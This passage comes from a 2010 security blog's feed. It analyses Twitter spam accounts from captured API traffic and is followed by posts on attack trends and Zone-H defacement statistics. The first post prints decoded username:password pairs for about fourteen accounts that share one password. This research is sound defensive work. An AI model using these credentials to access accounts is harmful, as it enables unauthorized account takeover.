http://yusuke.homeip.net/twitter4j/en/twitter4j-2.0.8.xml&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Accept-Encoding:&lt;/span&gt; gzip&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: nowrap; color: rgb(68, 68, 68); "&gt;User-Agent:&lt;/span&gt; twitter4j http://yusuke.homeip.net/twitter4j/ /2.0.8&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;X-Twitter-Client-Version:&lt;/span&gt; 2.0.8&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Content-Type:&lt;/span&gt; application/x-www-form-urlencoded&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Content-Length:&lt;/span&gt; 161&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Host:&lt;/span&gt; twitter.com&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Accept:&lt;/span&gt; text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2&lt;br /&gt;&lt;span class="hName" style="font: normal normal bold 12px/16px 'Courier New', Courier; white-space: wrap; color: rgb(68, 68, 68); "&gt;Proxy-Connection:&lt;/span&gt; keep-alive&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="border" style="font: normal normal normal 12px/13px Arial, Helvetica, Geneva, sans-serif; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: rgb(216, 216, 216); border-right-color: rgb(216, 216, 216); border-bottom-color: rgb(216, 216, 216); border-left-color: rgb(216, 216, 216); width: 925px; overflow-x: auto; "&gt;&lt;table id="summaryTable" cellpadding="0" cellspacing="0" style="width: 924px; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(255, 255, 255); border-left-width: 1px; border-left-style: solid; border-left-color: rgb(255, 255, 255); "&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="font: normal normal normal 12px/13px Arial, Helvetica, Geneva, sans-serif; "&gt;&lt;span class="httpHeader" style="font: normal normal bold 14px/16px Arial, Helvetica, Geneva, sans-serif; font-weight: bold; padding-top: 2px; padding-bottom: 2px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: rgb(239, 243, 252); display: block; border-top-width: 1px; border-top-style: solid; border-top-color: rgb(240, 240, 240); border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(240, 240, 240); background-position: initial initial; background-repeat: initial initial; "&gt;Request Body&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="contentCellPre" style="font: normal normal normal 12px/16px 'Courier New', Courier; padding-top: 3px; padding-right: 8px; padding-bottom: 3px; padding-left: 8px; white-space: wrap; "&gt;status=%40ldegelund+why+not+offer+work-from-home+projects++to+your+readers+by+th &lt;span class="grayText"  style=" ;color:gray;"&gt;\&lt;/span&gt;&lt;br /&gt;is+terrific+service+-+http%3A%2F%2Fproj.li%2FaOGdjN+Good+Luck%21&amp;amp;source=Twitter4 &lt;span class="grayText"  style=" ;color:gray;"&gt;\&lt;/span&gt;&lt;br /&gt;J&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Notice the Authorization request header as the Twitter API requires basic authentication.  The decoded user credentials are (format is username:password):&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;JohnTMalm:nktjcr123&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;Now, looking at this one transaction in isolation doesn't yield much interesting data.  What is interesting, however, is that I then did a search for all transactions to Twitter's API for June 21, 2010 and I found many more transactions all from different client IP addresses.  I extracted out all of the unique Authorization headers and decoded them:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;JohnTMalm:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;NicholeFBethune:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;LindaCTomas:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;ElsieJJanu:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;PhyllisLMoor:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;CynthiaLMille:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;JaniceRKnudson:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;harli_lona:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;MaryCShahh:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;DorothyRFrame:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;jeffpadams:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;AmyMSiege:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;LynJLaw:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;SteveMWesle:nktjcr123&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Notice anything interesting?  They all have the exact same password.  Since the password isn't one of the typical dictionary ones where it may be possible to have some users actually use the same password, we can only conclude that all of the accounts are controlled by the same person(s).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Recommendation for web sites&lt;/b&gt;&lt;/div&gt;&lt;div&gt;When new accounts are being created, check the new password against some form of hash tracking list to see how many users have that same password.  If the password is widely used, then it can either be denied or placed on some form of fraud watch list.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you check out the twitter pages of these fake accounts, you will see that they all have profile pictures of women (even though some of the account names seem male).  This may be an attempt to try and disarm readers and entice them to click on the job/tool related links.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I checked out one of the links.  The first URL shortener resolved to a second URL shortener and then onto the final site - DoNanza&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;$ wget http://proj.li/d62dIW&lt;/div&gt;&lt;div&gt;--2010-06-21 14:18:45--  http://proj.li/d62dIW&lt;/div&gt;&lt;div&gt;Resolving proj.li... 74.55.224.85&lt;/div&gt;&lt;div&gt;Connecting to proj.li|74.55.224.85|:80... connected.&lt;/div&gt;&lt;div&gt;HTTP request sent, awaiting response... 301 Moved Permanently&lt;/div&gt;&lt;div&gt;Location: http://bit.ly/d62dIW [following]&lt;/div&gt;&lt;div&gt;--2010-06-21 14:18:45--  http://bit.ly/d62dIW&lt;/div&gt;&lt;div&gt;Resolving bit.ly... 128.121.254.201, 128.121.254.205, 168.143.173.13, ...&lt;/div&gt;&lt;div&gt;Connecting to bit.ly|128.121.254.201|:80... connected.&lt;/div&gt;&lt;div&gt;HTTP request sent, awaiting response... 301 Moved&lt;/div&gt;&lt;div&gt;Location: https://www.donanza.com/publishers?utm_source=twitter&amp;amp;utm_medium=pbl&amp;amp;utm_campaign=cpb#uexox [following]&lt;/div&gt;&lt;div&gt;--2010-06-21 14:18:45--  https://www.donanza.com/publishers?utm_source=twitter&amp;amp;utm_medium=pbl&amp;amp;utm_campaign=cpb&lt;/div&gt;&lt;div&gt;Resolving www.donanza.com... 74.55.224.82&lt;/div&gt;&lt;div&gt;Connecting to www.donanza.com|74.55.224.82|:443... connected.&lt;/div&gt;&lt;div&gt;HTTP request sent, awaiting response... 200 OK&lt;/div&gt;&lt;div&gt;Length: unspecified [text/html]&lt;/div&gt;&lt;div&gt;Saving to: `publishers?utm_source=twitter&amp;amp;utm_medium=pbl&amp;amp;utm_campaign=cpb'&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;    [ &lt;=&gt;                                                                                                ] 11,236      --.-K/s   in 0.1s    &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;2010-06-21 14:18:46 (99.4 KB/s) - `publishers?utm_source=twitter&amp;amp;utm_medium=pbl&amp;amp;utm_campaign=cpb' saved [11236]&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;It seems as though the purpose of these Spam links/accounts is to do some affiliate or click schemes.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-5838185133796882279?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/5838185133796882279/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=5838185133796882279' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5838185133796882279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5838185133796882279'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/06/spammers-using-twitters-update-status.html' title='Spammers using Twitter&apos;s Update Status API'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3561893197659068542</id><published>2010-06-15T16:07:00.006-04:00</published><updated>2010-06-15T16:42:02.908-04:00</updated><title type='text'>Back to the Future - Economies of Scale Techniques from 2008 Still in Use Today</title><content type='html'>&lt;span style="font-style:italic;"&gt;Submitted by Ryan Barnett 6/15/2010&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;What is old is new again...  While tracking a number of recent stories for the &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WASC Web Hacking Incident Database (WHID) Project&lt;/a&gt;, I noticed a striking trend - &lt;i&gt;&lt;b&gt;many of the current attack trends (&lt;a href="http://tacticalwebappsec.blogspot.com/2008/01/mass-sql-injection-attacks-infect.html"&gt;Mass SQL Injection Bot attacks&lt;/a&gt;, &lt;a href="http://tacticalwebappsec.blogspot.com/2010/05/botnet-herders-targeting-web-servers.html"&gt;Botnet Herding of Web servers for DDoS&lt;/a&gt; and targeted attacks against Service/Hosting Providers), we actually first highlighted back in 2008&lt;/b&gt;&lt;/i&gt;.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here are a few recent WHID entries for these three issues -&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" border-collapse: collapse; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family:'Lucida Grande', Tahoma, Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?filter33485=&amp;amp;filter33487=2010-115&amp;amp;filter33477=&amp;amp;filter38336=&amp;amp;filter46769=&amp;amp;filter33483=&amp;amp;filter33473=&amp;amp;filter33465=&amp;amp;filter33467=&amp;amp;filter33469=&amp;amp;filter33471=&amp;amp;filter33475=&amp;amp;filter33479=&amp;amp;filter33481=&amp;amp;filter35431=#/////filter33487:MjAxMC0xMTU=//////////"&gt;WHID 2010-115: Mass hack plants malware on thousands of webpages&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" border-collapse: collapse; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family:'Lucida Grande', Tahoma, Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?filter33485=&amp;amp;filter33487=2010-123&amp;amp;filter33477=&amp;amp;filter38336=&amp;amp;filter46769=&amp;amp;filter33483=&amp;amp;filter33473=&amp;amp;filter33465=&amp;amp;filter33467=&amp;amp;filter33469=&amp;amp;filter33471=&amp;amp;filter33475=&amp;amp;filter33479=&amp;amp;filter33481=&amp;amp;filter35431=#/////filter33487:MjAxMC0xMjM=//////////"&gt;WHID 2010-123: Botnet hijacks web servers for DDoS campaign&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" border-collapse: collapse; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family:'Lucida Grande', Tahoma, Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?filter33485=&amp;amp;filter33487=&amp;amp;filter33477=&amp;amp;filter38336=&amp;amp;filter46769=&amp;amp;filter33483=&amp;amp;filter33473=&amp;amp;filter33465=&amp;amp;filter33467=&amp;amp;filter33469=&amp;amp;filter33471=&amp;amp;filter33475=&amp;amp;filter33479=&amp;amp;filter33481=&amp;amp;filter35431=#///////////////"&gt;WHID 2010-122: Attack of WordPress Blogs on Rackspace&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We highlighted these three specific attack methodologies in the 2008 WHID Report in the "Economies of Scale" section at the end of the the following OWASP AppSec WHID presentation given by Ofer Shezaf.  Pay particular attention to the last 10 minutes as all three of these techniques are still relevant today.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;embed id="VideoPlayback" src="http://video.google.com/googleplayer.swf?docid=1130960689238372157&amp;amp;hl=en&amp;amp;fs=true" style="width:400px;height:326px" allowfullscreen="true" allowscriptaccess="always" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3561893197659068542?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3561893197659068542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3561893197659068542' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3561893197659068542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3561893197659068542'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/06/back-to-future-economies-of-scale.html' title='Back to the Future - Economies of Scale Techniques from 2008 Still in Use Today'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-457118533453074562</id><published>2010-06-04T10:28:00.006-04:00</published><updated>2010-06-04T11:06:28.359-04:00</updated><title type='text'>Zone-H Defacement Statistics Report for Q1 2010</title><content type='html'>&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;em&gt;Submitted by Ryan Barnett 6/4/2010&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Web defacements are a serious problem and are a critical barometer for estimating exploitable vulnerabilities in websites.  Unfortunately, most people focus too much on the impact or outcome of these attacks (the defacement) rather than the fact that their web applications are vulnerable to this level of exploitation. People are forgetting the standard Risk equation -&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;RISK = THREAT x VULNERABILITY x IMPACT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The resulting risk of a web defacement might be low because the the impact may not be deemed a high enough severity for particular organizations. What most people are missing, however, is that the threat and vulnerability components of the equation still exist. What happens if the defacers decided to not simply alter some homepage content and instead decided to do something more damaging such as adding malicious code to infect clients?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;Zone-H Statistics Report for 2008-2009-Q1 2010&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.zone-h.org/"&gt;Zone-H&lt;/a&gt; is a clearing house that has been tracking web defacements for a number of years. At the end of May 2010, they released &lt;a href="http://www.zone-h.org/news/id/4735"&gt;a statistics report which correlated data from 2008, 2009 and the first quarter of 2010&lt;/a&gt;. This report revealed some very interesting numbers.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; "&gt;What Attacks Were Being Used?&lt;/span&gt;&lt;br /&gt;The first piece of data that was interesting to me was the table which listed the various attacks that were successfully employed which resulted in enough system access to alter the web site content.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: verdana; font-size: 14px; "&gt;&lt;table bordercolor="#c8c8c8" border="1" align="center"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="center"&gt;&lt;span style="font-size: smaller; "&gt; Attack Method&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Total 2008&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Total 2009&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt;&lt;span style="color: rgb(255, 0, 0); "&gt; Total 2010 &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Attack against the administrator/user (password stealing/sniffing)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 33.141&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 24.386&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;10.918&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Shares misconfiguration &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 72.192&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 87.313&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;55.725&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; File Inclusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 90.801&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 95.405&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;115.574&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; SQL Injection     &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 32.275&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 57.797&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;33.920&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Access credentials through Man In the Middle attack &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 37.526&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 7.385&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.005&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Other Web Application bug &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 36.832&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 99.546&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;42.874&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; FTP Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 32.521&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 11.749&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;5.138&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Web Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 8.334&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 9.820&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;7.400&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; DNS attack through cache poisoning &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 7.541&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 3.289&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.361&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Other Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 5.655&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 10.799&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;5.123&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; DNS attack through social engineering &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 6.310&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 2.847&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.358&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; URL Poisoning &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 5.970&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 6.294&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;3.516&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Web Server external module intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 4.967&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 2.265&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.313&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Remote administrative panel access through bruteforcing &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 9.991&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 6.862&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;7.046&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Rerouting after attacking the Firewall &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 8.143&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 3.107&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.267&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; SSH Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 6.231&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 4.624&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;4.550&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; RPC Server intrusion &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 12.359&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 5.821&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;2.512&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Rerouting after attacking the Router &lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 9.170&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; 2.671&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; &lt;span style="color: rgb(255, 0, 0); "&gt;1.327&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-size: smaller; "&gt; Remote service password 